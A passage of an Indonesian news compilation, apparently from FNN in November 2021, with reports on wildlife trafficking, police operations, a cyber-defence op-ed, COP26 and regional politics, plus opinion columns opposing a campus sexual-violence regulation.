KLHK dan Polisi Gagalkan Perdagangan Sisik Trenggiling di Jambi

Jambi, FNN - Balai Gakkum Kementerian Lingkungan Hidup dan Kehutanan (KLHK) wilayah Sumatera bersama Polda Jambi menangkap pelaku peredaran tumbuhan dan satwa liar yang dilindungi yaitu sisik trenggiling (Manis javanica) dari Riau hendak dibawa ke Tungkal, Jambi. Tim berhasil menggagalkan pengiriman seberat delapan kilogram sisik trenggiling di Jalan Lintas Timur Sumatera Gemuruh-Tungkal Ulu, Kecamatan Tungkal Ulu, Kabupaten Tanjabbar, Provinsi Jambi dengan mengamankan seorang pelakunya, demikian keterangan resmi Balai Gakkum KLHK Wilayah Sumatera yang diterima, Senin. Dari pengungkapan kasus tersebut tim gabungan berhasil menangkap dari tangan seseorang berinisial TPT(42) sebagai pelaku yang membawa sisik trenggiling tersebut. Penyidik juga mengamankan barang bukti berupa satu kotak kardus yang dilapisi lakban warna cokelat yang berisi sisik trenggiling dengan berat lebih kurang delapan kilogram dan satu telepon seluler. Penangkapan pelaku, TPT menyusul adanya informasi masyarakat tentang akan adanya transaksi sisik tenggiling yang dibawa dari Pekanbaru menuju Tungkal Ulu. Selanjutnya, Balai Gakkum KLHK wilayah Sumatera berkoordinasi dengan Kepolisian Daerah Jambi untuk melakukan penindakan. Pelaku TPT adalah warga Desa Sukaramai, Kecamatan Tapung Hulu, Kabupaten Kampar, Provinsi Riau. Kini pelaku sedang menjalani pemeriksaan oleh PPNS Balai Gakkum KLHK Wilayah Sumatera. Atas perbuatannya untuk mempertanggungjawabkan sesuai pasal 21 ayat (2) huruf d dengan ketentuan pidana Pasal 40 ayat (2), Undang-Undang RI Nomor 5 Tahun 1990 tentang Konservasi Sumber Daya Alam Hayati dan Ekosistemnya dengan ancaman pidana penjara paling lama 5 tahun dan denda paling banyak Rp100 juta. (sws)

Operasi Pekat Siwalima Polda Maluku Amankan 14 Orang dari Penginapan

Ambon, FNN - Polisi mengamankan sebanyak 14 orang atau tujuh pasangan yang bukan suami istri pada saat Operasi pemberantasan penyakit masyarakat (Pekat) Siwalima, dari sejumlah penginapan di Kota Ambon . "Hari ke-10 Operasi Pekat yang kami lakukan masih menyasar penginapan. Sebanyak tujuh pasangan diamankan karena berduaan tanpa memiliki ikatan yang sah," kata Pama Ditreskrimum Polda Maluku AKP Jonathan Sutrisno, di Ambon, Senin. Ia menjelaskan, 14 orang pria dan wanita itu diamankan dari sejumlah penginapan dan hotel, diantaranya penginapan Suli Indah, Holiday, Gues House Casa Filice dan Hotel Cemerlang Kota Ambon. Jonathan menerangkan, belasan orang tersebut digiring ke Mapolda Maluku setelah mereka diketahui bukan pasangan suami istri "Mereka yang diamankan ini di antaranya ada yang berstatus sebagai mahasiswa dan ada juga yang masih berstatus sebagai suami orang," kata dia. Tujuh pasangan yang diduga berbuat tidak baik ini kemudian diberikan pembinaan dan peringatan agar tidak mengulangi perbuatan mereka. "Kami minta untuk membuat surat pernyataan agar tidak lagi mengulangi perbuatan mereka di kemudian hari," ujarnya. Ia mengaku operasi Pekat yang dilaksanakan tersebut bertujuan untuk mengurangi tingkat kejahatan yang terjadi hingga meresahkan masyarakat. "Ini bertujuan untuk mengurangi tingkat kejahatan khususnya perbuatan maksiat di tempat penginapan atau lokasi tertentu di Ambon yang menjadi target sasaran operasi sehingga situasi Kamtibmas di tetap terjaga," pungkasnya. (sws)

Ketua KPK: Brimob Garda Terdepan Lindungi Keselamatan Punggawa KPK

Jakarta, FNN - Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri mengatakan insan Korps Brigade Mobil (Brimob) Kepolisian Negara Republik Indonesia (Polri) sebagai garda terdepan melindungi keselamatan punggawa KPK dalam kerja-kerja pemberantasan korupsi. "Brimob adalah 'tameng hidup', garda terdepan yang melindungi segenap insan-insan KPK saat menjalankan tugas menangani berbagai kasus korupsi, yang tidak dapat dipungkiri memiliki risiko besar bagi keselamatan raga dan jiwa para punggawa pemberantas korupsi," kata Firli dalam keterangannya di Jakarta, Senin memperingati HUT ke-76 Brimob Polri yang jatuh pada Minggu (14/11). Ia mengatakan segala bentuk pengorbanan dan keikhlasan luar biasa segenap insan Brimob dalam menjalankan tugas dan kewajibannya sebagai abdi negara serta pelindung dan pengayom tentunya sangat dirasakan serta dibutuhkan negara dan seluruh rakyat Indonesia, tidak terkecuali KPK. "Selain sangat membantu mengamankan keselamatan kami dari ragam risiko saat bertugas, kehadiran rekan-rekan Brimob mulai dari kegiatan penyelidikan, penyidikan, penggeledahan, penangkapan hingga evakuasi tersangka dari TKP ke Gedung Merah Putih (KPK) jelas memberikan rasa aman dan nyaman bagi segenap insan KPK dalam menuntaskan setuntas-tuntasnya kasus-kasus korupsi di seluruh penjuru negeri ini," tuturnya. Menurutnya, kehadiran Brimob terbukti senantiasa meneduhkan suasana yang kurang atau tidak kondusif ketika KPK hendak membongkar praktik korupsi di berbagai tempat, baik di pusat maupun di daerah. Ia mengatakan anggota Brimob memiliki keahlian mengubah situasi keruh menjadi tenang dan suasana panas menjadi sejuk sehingga dapat menciptakan atmosfer teduh yang membuat insan KPK lebih leluasa dan fokus menguliti kasus korupsi yang sedang ditangani. "Kita tentunya sering melihat sosok anggota Brimob bersenjata lengkap saat mengawal penyidik KPK di lapangan, khususnya ketika membentengi punggawa pemberantasan korupsi saat masuk ke sarang korupsi," ujar Firli. Bukan hanya melindungi atau mengamankan, lanjut dia, anggota Brimob seringkali ikut membantu punggawa KPK saat meyakinkan pihak-pihak tertentu yang berkeberatan, mencoba menghalang-halangi atau menghambat proses kerja penanganan kasus korupsi di berbagai tempat dan daerah. Firli mengatakan jika langkah preventif tidak diindahkan, anggota Brimob dipastikan akan mengambil tindakan tegas yang terukur sesuai undang-undang, hukum, dan peraturan. "Tidak pernah sekalipun saya mendengar anggota Brimob mundur satu langkah apalagi bubar ketika berhadapan dengan orang yang mengaku atau memang mengenal petinggi Polri atau 'orang besar' lainnya di republik ini saat diminta untuk melepaskan pengawalan terhadap insan KPK yang tengah bertugas membongkar praktik korupsi," ungkap Firli. Ia mengatakan tidak sedikit laporan dari insan KPK di lapangan tentang bagaimana solid, tegas, dan tegarnya anggota Brimob saat menjadi "tameng hidup" bagi anggota KPK khususnya yang berada di lapangan. "Inilah bentuk profesionalisme Brimob sebagai pelindung, pengayom, dan pelayan masyarakat di mana ketegasan, keberanian, dan keikhlasan luar biasa dalam melaksanakan dan mengemban tugas dimanapun mereka ditempatkan sangat dirasakan oleh masyarakat termasuk KPK," katanya. Ia menegaskan bakti dari setiap darma insan Brimob yang senantiasa memberikan teladan baik tentang nilai-nilai patriotisme seyogyanya menyadarkan kita untuk selalu mendharmabaktikan diri terhadap nusa, bangsa, rakyat Indonesia, dan negara. "Selamat memperingati Bhakti Brimob ke-76, dengan semangat antikorupsi, mari kita gelorakan ruh pengabdian tanpa batas bagi negeri untuk mewujudkan cita-cita Indonesia jaya, Indonesia makmur, Indonesia aman, damai, dan berkeadilan dalam kehidupan bangsa yang cerdas merata bagi seluruh bangsa dan rakyat Indonesia dari Sabang sampai Merauke mulai Miangas hingga Pulau Rote," ucap Firli. (sws)

Reposisi Domain Siber Dalam Pertahanan Siber TNI

Jakarta, 15/11 (ANTARA) - Serangan siber di Indonesia kian hari kian intensif. Badan Siber dan Sandi Negara (BSSN) mencatat 888 juta kali percobaan serangan siber terhadap sistem informasi pemerintah, perusahaan dan pribadi pada Agustus 2021. Serangan malware -termasuk didalamnya ransomware- mendominasi, disusul Trojan dan kebocoran data (data leak). Menurut laporan BSSN serangan siber oleh aktor dalam negeri cukup besar. Selain serangan pada aspek teknologi siber, Indonesia juga mengalami serangan sosial di domain siber, berupa disinformasi dan berita palsu (hoaks). Indonesia menjadi sasaran empuk para penjahat siber dikarenakan dua faktor, pertama jumlah pengguna internet yang terus meningkat dari tahun ke tahun. Tercatat lebih dari 70 persen penduduk Indonesia (APJII 2021), menggunakan internet. Kedua, tingkat literasi warga yang masih rendah dalam hal mengelola data pribadi dan menyikapi informasi di internet. Tak jarang, penyerangan di perusahaan atau institusi pemerintah dimulai dari para pegawainya yang karena ketidaktahuannya membuka email atau file palsu yang menyebarkan malware dan Trojan. Akibat serangan siber ini sektor jasa keuangan mengalami kerugian sebesar Rp246 Milyar. Mengingat ancaman serangan siber yang semakin membahayakan, sudah seharusnya, menjadi perhatian serius dari penyelenggara negara. Terutama di tengah program “Transformasi Digital” yang digagas oleh Presiden Joko Widodo. Serangan siber meningkat seiring dengan peningkatan digitalisasi pemerintahan (e-Government), pelayanan publik dan perusahaan startup digital. Secara sosial, sisa momentum Pemilu 2019 yang melahirkan kubu sosial “cebong-kampret” masih menyisakan keterbelahan masyarakat. Agitasi dan provokasi dalam bentuk disinformasi dan hoaks masih bertebaran di media sosial. Ditambah lagi, ulah kelompok-kelompok ekstrim yang menunggangi situasi ini untuk mengambil keuntungan berupa pembangunan opini publik. Di tengah ancaman serangan siber yang semakin intensif ini, Tentara Nasional Indonesia (TNI) perlu mendefinisikan ruang siber sebagai domain peperangan baru dalam pertahanan. Tidak hanya sebagai wawasan, tetapi diturunkan dalam kebijakan dan program pengembangan teknologi alutsista, doktrin dan organisasi TNI. Kesadaran ruang siber sebagai domain peperangan ini telah menjadi perbincangan internasional. Pada 2011, seorang pejabat militer Amerika Serikat, dengan tegas mengatakan, “Jika Anda mematikan jaringan listrik kami, mungkin kami akan meletakkan rudal di salah satu cerobong asap Anda.” Serangan siber terhadap negara Paman Sam itu memang tidak main-main dan semakin brutal dari tahun ke tahun. Pada 2021 serangan “ransomware” menyerang lebih dari 200 bisnis yang memiliki rantai pasok fasilitas pelayanan publik. Pada 2011, AS menerbitkan “International Strategy for Cyberspace” yang mencanangkan hak untuk menggunakan kekuatan militer terhadap serangan dunia maya. AS menyatakan bahwa serangan siber adalah tindakan perang. Komite Independen Kementerian Pertahanan AS menyamakan serangan siber sama halnya dengan ancaman serangan nuklir. Alhasil, program nuklir Iran terhenti gegara malware “Stuxnet”. Meski AS tidak mengkonfirmasi secara langsung, tapi sejumlah media mengungkap ada indikasi keterlibatan AS dalam pengoperasian “Stuxnet.” United State Cyber Command (USCC) telah berhasil menanamkan malware ke dalam sistem jaringan listrik Rusia pada 2019. Meski, pada akhirnya serangan tersebut dapat ditangkal. Pada 2017, Pakta Pertahanan Atlantik Utara (NATO) telah mengkonfirmasi bahwa mereka menetapkan dunia maya sebagai domain militer yang sah, di mana serangan secara online (daring) terhadap negara anggota NATO dapat dianggap sebagai serangan terhadap 29 negara anggota NATO. Domain siber sejajar dengan domain darat, laut dan udara. NATO menyadari bahwa domain siber adalah elemen yang semakin vital dari operasi militer modern. Dengan demikian, militer negara-negara maju telah secara tegas mendefinisikan domain siber adalah domain peperangan baru. Pada level tertentu militer dapat turun tangan. Tentu keterlibatan militer juga dalam bentuk intervensi di dunia siber dengan cara pencegahan, penyerangan, dan antisipasi. Indonesia, sebagai negara yang internet dan pengguna internetnya terus bertumbuh, diperlukan keterlibatan militer di dunia siber dalam rangka mempertahankan keutuhan dan keselamatan bangsa dan negara. Dalam konteks kesinambungan Revolution in Military Affairs (RMA) yang telah menjadi paradigma reformasi TNI, maka yang perlu dilakukan oleh TNI adalah menyusun strategi pertahanan di dunia siber yang meliputi tiga aspek. Pertama, pengembangan teknologi informasi dan persenjataan yang mampu menginterferensi aktor serangan siber, baik aktor negara maupun non-negara. Serangan siber tujuan utamanya adalah mengancam nilai-nilai demokrasi, melumpuhkan sektor-sektor fundamental, dan menciptakan ketidakstabilan dalam tatanan kehidupan bernegara. TNI dapat berkolaborasi dengan aktor-aktor sipil sehingga semboyan “TNI adalah Kita,” dapat diterapkan pula pada domain siber. Kedua, penguatan doktrin. Domain siber, sebagai domain baru membutuhkan kerangka definisi dan operasional. Anggota TNI yang berasal dari berbagai latar belakang, tentu dibutuhkan protokol keamanan siber agar sistem informasi TNI tidak mudah diserang. Doktrin yang kuat memberikan perspektif dan sensitifitas TNI terhadap serangan siber dan mengendalikannya, baik pada level personel maupun organisasi. Ketiga, pembentukan organisasi khusus untuk merespon insiden siber, baik di internal TNI maupun di luar TNI yang dinilai strategis. Pengembangan Computer Security Incident Response Team (CSIRT) bersifat mendesak. Di samping untuk mengawal keamanan siber di tubuh TNI itu sendiri, CSIRT merupakan instrumen yang dapat dikembangkan untuk membangun kolaborasi dengan CSIRT lembaga negara lain yang telah dibentuk sehingga TNI selalu up to date (terkini) tentang perkembangan serangan siber terbaru. Pada akhirnya, tahun 2021 ini merupakan tahun krusial bagi TNI untuk mengikuti gerak “Transformasi Digital” yang dicanangkan Presiden. Adalah keniscayaan jika Panglima TNI terpilih telah mempromosikan “Peningkatan Operasional Siber” sebagai salah satu agenda strategisnya. Karena pandemi COVID-19 telah mempercepat iklim siber di seluruh dunia, begitu juga dengan serangan siber. *) Ngasiman Djoyonegoro adalah Pengamat Intelijen, Pertahanan dan Keamanan (sws)

Gubernur Dorong Hilirisasi Industri di Kalteng

Palangka Raya, FNN - Gubernur Kalimantan Tengah Sugianto Sabran mendorong pentingnya hilirisasi industri di daerah itu agar memberikan manfaat perekonomian bagi masyarakat setempat. "Saya sudah menyurati kementerian terkait, bahwa bahan mentah bauksit per Januari 2022 tidak boleh keluar dari Kalimantan Tengah, bahan mentah harus bisa diolah, minimal barang setengah jadi,” kata dia melalui keterangan pers yang diterima di Palangka Raya, Minggu (14/11). Ia mengaku sudah menyurati kementerian terkait untuk penghentian keluarnya bahan mentah bauksit dari provinsi tersebut. Indonesia tercatat memiliki cadangan bauksit mencapai 2,96 miliar ton dan diperkirakan mencapai 92 tahun, sedangkan di Kalimantan Tengah bauksit merupakan salah satu di antara sumber daya alam (SDA) yang melimpah. "Melihat hal ini kita harus bijak, tidak bisa kita eksplorasi membabi buta tanpa memerhatikan dampak lingkungan dan nilai manfaat yang dirasakan masyarakat," katanya. Langkah yang dilakukan Suginto Sabran terkait dengan penghentian sementara berupa SDA bahan mentah bauksit keluar dari Kalimantan Tengah sebagai beralasan, sebab kurang berkontribusi bagi kesejahteraan masyarakat. Hilirisasi industri menjadi penting karena akan berdampak pada perekonomian secara luas, di antaranya penyerapan tenaga kerja serta peningkatan PAD yang dapat dirasakan melalui pembangunan berbagai sektor strategis. Sugianto menjelaskan sebagai seorang gubernur yang merupakan “bapak” bagi masyarakatnya, tentu memiliki tanggung jawab yang teramat besar dan tanggung jawab untuk memastikan kesejahteraan dapat dirasakan segenap masyarakat Kalimantan Tengah. Bahkan dalam beberapa kesempatan, ia sering kali menyampaikan, SDA di Kalimantan Tengah melimpah sehingga sudah seharusnya dapat dirasakan seluruh masyarakat, baik di sektor pendidikan, kesehatan, maupun pembangunan infrastruktur. Oleh karena itu, hilirisasi industri salah satu fokus Sugianto Sabran dalam mengoptimalkan pengelolaan SDA agar dapat ditingkatkan nilai gunanya sebelum dipasarkan keluar daerah serta mampu menyerap tenaga kerja setempat. "Hilirisasi yang dicita-citakan adalah untuk menyejahterakan masyarakat Kalimantan Tengah, bukan untuk menyejahterakan segelintir orang saja dan menyisakan dampak buruk, khususnya bagi masyarakat setempat," katanya. Meski demikian, ia memaparkan, Pemerintah Provinsi Kalimantan Tengah menjamin iklim usaha, khususnya keamanan berinvestasi. Pemprov setempat selalu terbuka kepada semua pihak yang ingin berinvestasi dengan memberikan layanan yang cepat dan tepat. "Namun kami juga tidak akan ragu-ragu untuk bertindak tegas terhadap praktik berusaha yang tidak sesuai dengan ketentuan,” ungkap Sugianto. (sws)

Berkat Permen Nadiem, di Kamar Kos Akan Dipajang Tulisan “Suka Sama Suka”

By Asyari Usman Di sejumlah grup WA, para pengamat sosial-politik dan orang awam semakin gencar membahas Permendikbud No. 30 Tahun 2021 yang dikeluarkan oleh Menteri Nadiem Makarim. Kontroversinya sangat besar. Ada yang pro-Nadiem, tapi lebih banyak yang kontra. Pasal 5 Permen ini, yang mendefinisikan kekerasan seksual, memberikan implikasi bahwa hubungan seks yang dilakukan atas dasar “persetujuan Korban” alias suka sama suka, tidak digolongkan sebagai kekerasan seksual. Ini yang memicu reaksi keras. Permen Nadiem disimpulkan sebagai aturan yang akan melegalkan perzinaan. Nadiem dikritik pedas. Bahkan dihujat. Dia disebut menghancurkan sistem nilai Pancasila, norma keagamaan dan etika. Permendikbud ini memang berbahaya. Sebagai contoh, Pasal 5 ayat (l) menyatakan bahwa suatu tindakan disebut sebagai kekerasan seksual kalau pelaku: “menyentuh, mengusap, merasa, memegang, memeluk, mencium dan/atau menggosokkan bagian tubuhnya pada tubuh Korban tanpa persetujuan Korban”. Artinya, kalau Korba setuju maka perbuatan itu tidak disebut kekerasan seksual. Ada “mutual consent” (mau sama mau). Begitu juga Pasal 5 ayat (m) yang menyatakan suatu tindakan disebut kekerasan seksual apabila “membuka pakaian Korban tanpa persetujuan Korban.” Tentu makna implikatifnya adalah bahwa kalau Korban setuju, bukan lagi kekerasan seksual.” Dua contoh ini memang sangat mencurigakan. Bagaikan ada upaya bermain kata untuk melegalkan seks bebas. Wajar saja publik yang masih waras bereaksi keras. Nadiem dituduh mau melegalkannya. Tapi, apakah seks bebas tidak ada di kalangan mahasiswa? Sudah sangat banyak. Dan sudah sangat lama berlangsung. Di mana-mana. Cuma, belum legal. Masih bisa dipidanakan kalau penegak hukum “mau”. Aspek pidana inilah yang mungkin ingin ditiadakan. Nah, apakah Nadiem Makarim pantas dituduh mau melegalkan seks bebas melalui Permen 30/2021? Jika Permen ini dicermati secara utuh, tidak begitu terlihat ada misi itu. Namun, setelah ditelaah pasal per pasal, ayat per ayat, kata per kata, barulah terkuak upaya legalisasi seks bebas. Sekali lagi, inilah yang tersirat dengan jelas di Pasal 5. Lantas, apakah Permen ini akan membanjir-bandangkan seks bebas? Pasti. Sebab, pintu bendungannya telah dibuka. Dalam arti, para calon pelaku seks bebas yang selama ini terhalang pasal perzinaan, akan memajang Permen Nadiem ini di kamar-kamar kos mereka. Petugas tak bisa masuk menggerebek. Bisa saja, misalnya, mereka tempelkan di pintu di kamar-kamar kos itu tulisan yang berbunyi “Dengan Persetujuan Korban” alias Suka Sama Suka. Kemungkinan banjir seks bebas inilah yang terbayang oleh publik, khususnya para pemuka Islam. Dan demi kemaslahatan umat, bangsa, dan negara, tuntutan agar Permen 30/2021 dibatalkan adalah reaksi yang terlemah dari kalangan ulama. Artinya, para penguasa masih sangat beruntung permintaan ini disampaikan dengan cara yang baik-baik.[] (Penulis wartawan senior FNN)

Penyalipan dan Penyelundupan Hukum

By M Rizal Fadillah SETELAH terberitakan pemanggilan Menteri Nadiem oleh Komisi X DPR RI dan dinyatakan bahwa Komisi X tidak pernah mendapat informasi apalagi konsultasi adanya agenda untuk membuat Peraturan Menteri yang mengatur tentang Pencegahan dan Penanganan Kekerasan Seksual, maka jelas bahwa niat Kementrian Nadiem adalah melakukan penyalipan atau penyelundupan hukum. Overtaking of Law Penyalipan hukum ini berkaitan dengan belum disahkannya Undang-Undang Penghapusan Kekerasan Seksual. RUU P-KS saat ini baru masuk dalam Prolegnas prioritas tahun 2021 dan dipastikan tidak akan selesai pada tahun 2021. Pembahasan di DPR RI bakal alot. Permendikbudristek No 30 tahun 2021 dengan konten relatif sama telah menyalip RUU. Sungguh tercela dan kacau serta aneh ada Peraturan Menteri mendahului Undang-undang. Dalam Tata Urutan Peraturan Perundang-undangan, Peraturan Menteri itu berkedudukan di bawah Undang-Undang, bahkan di bawah Peraturan Pemerintah. Kekuasaan yang sewenang-wenang jika peraturan pelaksanaan dibuat mendahului peraturan payungnya. Lucu, aneh, dan seenaknya saja membuat Peraturan Menteri sementara Undang-Undang (UU) nya masih dalam taraf penggodokan bahkan baru pengagendaan. Overtaking of law seperti ini adalah wujud dari "abuse of power" dimana eksekutif melakukan eksekusi tanpa persetujuan (Wakil) Rakyat. Smuggling of Law Aspek kedua dari Permendikbudristek No 30 tahun 2021 ini adalah penyelundupan hukum yaitu menutupi atau menyamarkan maksud dengan cara tipu-tipu. Melakukan penyelundupan aturan atau pasal pasal hukum. Pembodohan rakyat dengan citra manis. Siapa yang tidak setuju terhadap pencegahan kekerasan seksual ? Hanya orang tak waras yang menolak. Akan tetapi masalahnya bukan disitu. Filosofi kontraktual telah menjadikan "sexual consent" sebagai parameter utama. Persoalan seks dianggap hanya semata kesepakatan, bukan domein agama. Nilai-nilai transendental ketuhanan yang tidak perlu hadir. Disinilah ruang penyelundupan itu. Liberalisme dan Marxisme yang nir-moral berkepentingan untuk menunggangi dan mengendalikan. Dan itu dimulai dari Perguruan Tinggi. Overtaking dan smuggling of law adalah kriminal. Demikian juga dengan kekerasan seksual. Jangan biarkan atau biasakan rakyat ditipu-tipu oleh aturan pidana yang dibingkai oleh kebijakan administrasi. Permen 30 adalah contoh buruk penipuan. Menteri bahkan Presiden harus bertanggungjawab atas modus ini. Desakan untuk mencabut atau membatalkan menjadi sangat wajar ditinjau dari berbagai sisi. Yang aneh adalah para pendukung termasuk Menteri Agama. Seperti tak mengerti misi dibalik Permen. Atau memang terkecoh ? Atau menjadi bagian dari misi nir-moral dari Peraturan yang kontennya sangat menohok Agama, Konstitusi, dan Ideologi tersebut ? Penyalip dan penyelundup harus segera dihukum. *) Pemerhati Politik dan Kebangsaan, Kolumnis Tetap FNN

Hanya 12,8 Persen Responden Menilai Pemerintahan Jokowi-Mar'uf Lebih Baik

Jakarta, FNN - Pemerintahan Presiden Joko Widodo dan Wakil Presiden Mar'uf Amin dinilai baik oleh sebagian kecil masyarakat berdasarkan survei yang dilakukan Indonesia Survey Center (ISC). Peneliti senior ISC Chairul Ansar menjelaskan riset itu dilakukan untuk membandingkan kinerja pemerintahan tahun 2021 dibandingkan tahun 2020 lalu. "12,8 persen menilai jauh lebih baik, 45,3 persen menilai baik, 27,7 menilai biasa saja dan sisanya menilai buruk serta tidak menjawab," jelas Chairul saat memaparkan hasil survei secara daring di Jakarta, Minggu. Chairul mengatakan penilaian baik itu didapatkan dari kesuksesan Jokowi serta kinerja para menterinya. Selain itu, anggaran yang besar dalam APBN menunjukkan besarnya perhatian Jokowi terhadap bidang kesehatan, ekonomi, pertahanan dan keamanan. Survei itu juga melaporkan sejumlah persoalan yang harus mendapat penyeleseaian segera oleh pemerintahan Jokowi-Ma'ruf, diantaranya bidang kesehatan terkait pengendalian COVID-19. Lalu, ketersediaan lapangan kerja, pemberantasan korupsi, kemiskinan hingga pertahanan dan keamanan. Riset Indonesia Survey Center dilaksanakan dengan mewawancarai langsung 1.520 responden yang telah memiliki hak pilih di 34 provinsi pada 7 hingga 21 Oktober 2021. Penelitian dilakukan menggunakan teknik multistage random sampling dengan margin of error 2,5 persen dan level of confidence 95 persen. (sws, ant)

China Utara Wajibkan Karantina 56 Hari Bagi Pendatang

Beijing, FNN - Otoritas Kota Shenyang di wilayah China utara mewajibkan pelaku perjalanan dari luar negeri untuk menjalani karantina selama 56 hari. Mereka yang baru datang di Shenyang harus dikarantina selama 28 hari di hotel dan 18 hari di rumah, demikian dilaporkan media China, Minggu. Selama di hotel, para pendatang tersebut tidak diizinkan membuka pintu bagi siapa pun kecuali pengantar makanan. Demikian pula selama karantina di dalam rumah, mereka tidak diizinkan keluar. Kebijakan ketat yang diambil otoritas Shenyang, ibu kota Provinsi Liaoning, tersebut adalah bagian dari strategi "nol COVID-19". Shenyang terakhir kali menemukan kasus positif COVID-19 pada Juli. Sementara beberapa kota di China mendapati kasus terakhir mereka pada Oktober lalu dengan peningkatan lebih dari 70 persen, menurut laporan The Waijiao. Meskipun penambahan kasus harian COVID-19 relatif kecil ketimbang negara-negara lain, China belum terbebas dari penyakit menular dan mematikan itu. "Meskipun jangkauan vaksinasi sangat luas, kebijakan ketat pencegahan dan pengendalian COVID-19 masih diperlukan," kata Direktur Departemen Penyakit Menular Rumah Sakit Huashan, Zhang Wenhong. (sws, ant)

COP26 Gagal Sepakati Pendanaan Baru untuk Kerusakan Akibat Iklim

Glasgow, FNN - Para peserta konferensi iklim PBB COP26 sepakat untuk mendorong isu "kerugian dan kerusakan" akibat perubahan iklim ke dalam Pakta Iklim Glasgow pada Sabtu malam. Namun, mereka gagal membentuk fasilitas pendanaan baru yang didedikasikan bagi negara-negara rentan untuk mengatasi kerusakan, setelah muncul penolakan dari Amerika Serikat, Uni Eropa dan sejumlah negara kaya. Guinea, yang mewakili kelompok negara berkembang, mengungkapkan "kekecewaan yang sangat dalam" pada keputusan itu, yang hanya memprakarsai "dialog" untuk membahas "pengaturan pendanaan kegiatan untuk mencegah, mengurangi dan mengatasi kerugian dan kerusakan". Negara-negara pulau kecil --seperti Kepulauan Marshall, Fiji, Antigua dan Barbuda-- yang khawatir wilayah mereka tergerus oleh kenaikan permukaan air laut juga menyampaikan ketidakpuasan mereka. Para pendukung pendanaan "kerugian dan kerusakan" bersikukuh fasilitas itu harus dibentuk segera, idealnya saat konferensi iklim di Mesir tahun depan. Harjeet Singh, penasihat senior Climate Action Network International, menegaskan bahwa kesepakatan Glasgow setidaknya mengakui adanya kebutuhan dana kerugian dan kerusakan yang meningkat di negara-negara berkembang. Kesepakatan itu menyebutkan "perubahan iklim telah dan akan semakin menyebabkan kerugian dan kerusakan, dan bahwa, ketika suhu meningkat… akan menimbulkan ancaman sosial, ekonomi dan lingkungan yang semakin besar". Namun, kata Singh, kegagalan menyediakan dana untuk membantu negara-negara miskin membayar biaya kerusakan berarti "kita tengah berjalan dalam inci ketika harusnya bergerak dalam mil". Pakta Iklim Glasgow menyepakati untuk mendanai Santiago Network, sebuah badan untuk membangun keahlian teknis dalam penanganan kerugian dan kerusakan, seperti membantu negara-negara tentang cara memindahkan penduduk pesisir yang terancam. Ani Dasgupta, presiden World Resources Institute, lembaga pemikir yang berbasis di AS, mengatakan COP26 "akhirnya menempatkan isu sangat penting tentang kerugian dan kerusakan ke atas panggung utama". Namun untuk memenuhi kebutuhan negara-negara rentan, dialog-dialog di Glasgow semestinya bukan sekadar pembicaraan tapi juga menghasilkan rekomendasi tentang skala pendanaan yang diperlukan, kata dia dalam pernyataan. AS dan Australia, khususnya, menghambat kemajuan untuk membentuk pendanaan baru bagi kerugian dan kerusakan. Kedua negara telah lama menolak wacana bahwa negara-negara industri dengan riwayat polusi karbon yang tinggi harus membayar kompensasi kepada negara-negara lain atas kerusakan yang mereka timbulkan. Utusan iklim AS John Kerry mengatakan AS memahami bahwa semakin banyak sumber daya yang diperlukan untuk membantu masyarakat di wilayah rentan, namun langkah awal perlu diambil untuk mencari tahu bagaimana dana itu diberikan dengan baik. Sejumlah gagasan telah diusulkan tentang cara mendanai biaya kerugian dan kerusakan, termasuk mengenakan pajak baru pada penjualan bahan bakar fosil atau penerbangan. Dana Adaptasi Negara-negara berkembang dalam sesi penutupan COP26 menyambut baik kemajuan dalam meningkatkan upaya untuk beradaptasi dengan perubahan iklim. Adaptasi itu mencakup berbagai hal seperti membangun tanggul laut yang lebih tinggi untuk mencegah banjir, menampung air hujan untuk irigasi, dan beralih ke tanaman pertanian yang tahan kekeringan. Negara-negara peserta COP26 sepakat untuk meluncurkan program dua tahun untuk menetapkan "sebuah tujuan global tentang adaptasi", sesuatu yang sudah disepakati dalam Perjanjian Paris 2015 namun masih belum jelas hingga kini. Ada juga kemajuan dalam penetapan target yang lebih ketat untuk membiayai adaptasi yang saat ini hanya seperempat dana iklim global bagi negara-negara berkembang. Pada 2019 dana ini hanya terkumpul 20 miliar dolar AS (Rp283,8 triliun). Pakta Glasgow mendesak negara-negara maju untuk "segera dan secara signifikan menambah" dana adaptasi dan minimal melipatduakan dana itu dari level 2019 hingga 2025, dalam rangka memenuhi target Perjanjian Paris untuk membiayai pemangkasan emisi dan adaptasi secara adil. Dalam konferensi, sejumlah pemerintah negara kaya menyampaikan komitmen-komitmen baru senilai 960 juta dolar (Rp13,6 triliun) untuk membantu negara-negara rentan beradaptasi pada perubahan iklim. Namun tetap saja, jumlah dana yang dijanjikan itu masih jauh di bawah kebutuhan biaya negara-negara berkembang saat ini yang diperkirakan mencapai 70 miliar dolar per tahun. PBB mengatakan angka itu akan menjadi 300 miliar dolar per tahun pada 2030. Jennifer Morgan, direktur pelaksana Greenpeace International, mengatakan negara-negara maju di COP26 "akhirnya mulai merespons seruan negara-negara berkembang tentang pendanaan dan sumber daya untuk mengatasi kenaikan suhu". Gabriela Bucher, kepala Oxfam International, mengatakan komitmen untuk menggandakan dana adaptasi di COP26 masih kurang dari yang dibutuhkan "namun jika terealisasi akan menambah miliaran dolar untuk mendukung negara-negara berkembang". (sws, reuters)

Tokoh Kamoro Harapkan Presiden Jokowi Perhatikan Warga Pesisir Mimika

Timika, FNN - Tokoh masyarakat yang juga Ketua Lembaga Musyawarah Adat Suku Kamoro (Lemasko) di Kabupaten Mimika Georgorius Okoare mengharapkan Presiden Joko Widodo juga memberikan perhatian serius terhadap pembangunan masyarakat Suku Kamoro yang bermukim di wilayah pesisir Kabupaten Mimika. Ditemui ANTARA di Timika, Minggu, Georgorius yang akrab disapa Gery mengatakan selama berkali-kali melakukan kunjungan kerja ke Papua, Presiden Jokowi baru satu kali singgah di Timika, itupun hanya transit untuk makan siang setelah berkunjung ke Kabupaten Asmat saat bencana diare dan busung lapar beberapa tahun lalu. "Bapak Presiden Jokowi kami harapkan satu waktu datang khusus ke Timika untuk melakukan dialog dengan kami masyarakat asli Mimika, terutama masyarakat Suku Kamoro yang hidup di wilayah pesisir karena selama ini kami merasa dianaktirikan dalam pembangunan. Semua pembangunan di Papua difokuskan ke bagian pegunungan, sementara kami masyarakat pesisir kurang mendapatkan perhatian," kata Gery. Sebagai salah satu pemasok devisa terbesar untuk negara melalui keberadaan perusahaan tambang raksasa PT Freeport Indonesia, menurut Gery, seharusnya Presiden Jokowi juga menyediakan waktu khusus untuk datang bertemu masyarakat asli di Mimika yang merasakan langsung dampak dari 